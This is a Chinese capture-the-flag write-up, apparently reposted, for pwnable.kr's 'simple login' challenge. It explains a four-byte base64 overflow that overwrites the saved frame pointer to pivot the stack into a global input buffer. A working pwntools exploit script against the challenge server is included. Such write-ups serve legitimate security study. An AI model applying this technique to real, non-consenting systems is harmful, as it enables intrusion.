pwnable之simple login

来源:互联网 发布:肌肉型小腿如何瘦 知乎 编辑:程序博客网 时间:2024/05/18 04:49

首先下载源代码

发现读入v6结果人家限制了长度刚好不溢出,然后base64解密v6放入v5长度记录在v7

v7还做了限制小于12个字符,但是auth函数中吧解密后的值放入了长度只有8的v4中

由于可以溢出四个所以只能覆盖ebp不能覆盖eip,通过上次unlink的题我知道了更改esp也可以更改eip,那么可以在函数返回时通过修改ebp的值更改esp到一个地址然后主函数返回的时候是不是就可以控制eip了?

但是问题来了,把ebp跳转到哪里合适,由于堆栈是不固定的地址所以只能找别的地方,还能自己输入的。我发现程序有个input 他的值等于我输入的东西解密后的值,所以我向input跳转了

注意eip放在中间因为前四个是主函数返回时候ebp的值(aaaa)

from pwn import *
import base64
p=remote("pwnable.kr",9003)
p.recv(1024)
s="a"*4
s+=p32(0x08049284)
s+=p32(0x0811eb40)
a = base64.b64encode(s)
a+='\n'
p.send(a)
p.recv(1024)
p.interactive()

ps:后来我查了一下input,原来是输入缓冲区